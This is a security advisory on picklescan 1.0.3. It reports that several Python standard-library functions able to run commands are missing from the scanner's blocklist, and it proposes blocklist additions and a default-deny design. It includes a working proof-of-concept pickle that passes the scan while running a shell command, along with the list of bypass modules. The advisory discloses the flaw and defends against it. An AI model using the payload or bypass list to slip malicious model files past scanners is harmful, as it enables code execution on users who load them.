PickleScan has multiple stdlib modules with direct RCE not in blocklist

## Summary picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely. ## Severity **Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### Unblocked RCE Modules | Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN | | `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN | | `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN | | `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN | | `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN | | `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN | All 8 functions are in Python's standard library and importable on all platforms. ### Scanner Output ``` $ picklescan -p uuid_rce.pkl No issues found. $ picklescan -p aix_rce.pkl No issues found. $ picklescan -p imaplib_rce.pkl No issues found. ``` Meanwhile: ``` $ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())" uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone) ``` ### Blocklist Analysis picklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear: - `uuid` — not blocked - `_osx_support` — not blocked - `_aix_support` — not blocked - `_pyrepl` — not blocked - `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked) - `imaplib` — not blocked - `test` — not blocked - `test.support` — not blocked - `test.support.script_helper` — not blocked ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # uuid._get_command_stdout — arbitrary command execution payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R" # TUPLE3 + REDUCE + b"." # STOP ) # Scan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN # Execute: runs `id` command pickle.loads(payload) ``` ### Tested Against - picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release - picklescan v0.0.21 — same result (modules never blocked in any version) ## Impact Any system using picklescan for pickle safety validation is vulnerable. This includes: - **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files - **ML pipelines** — any CI/CD or loading pipeline using picklescan - **Model registries** — any registry relying on picklescan for safety checks An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user. ## Suggested Fix Add to `_unsafe_globals` in picklescan: ```python "uuid": "*", "_osx_support": "*", "_aix_support": "*", "_pyrepl": "*", "imaplib": {"IMAP4_stream"}, "test": "*", ``` **Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues) ## Resources - picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`) - Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`

Quoted source text, attributed separately from HOL analysis.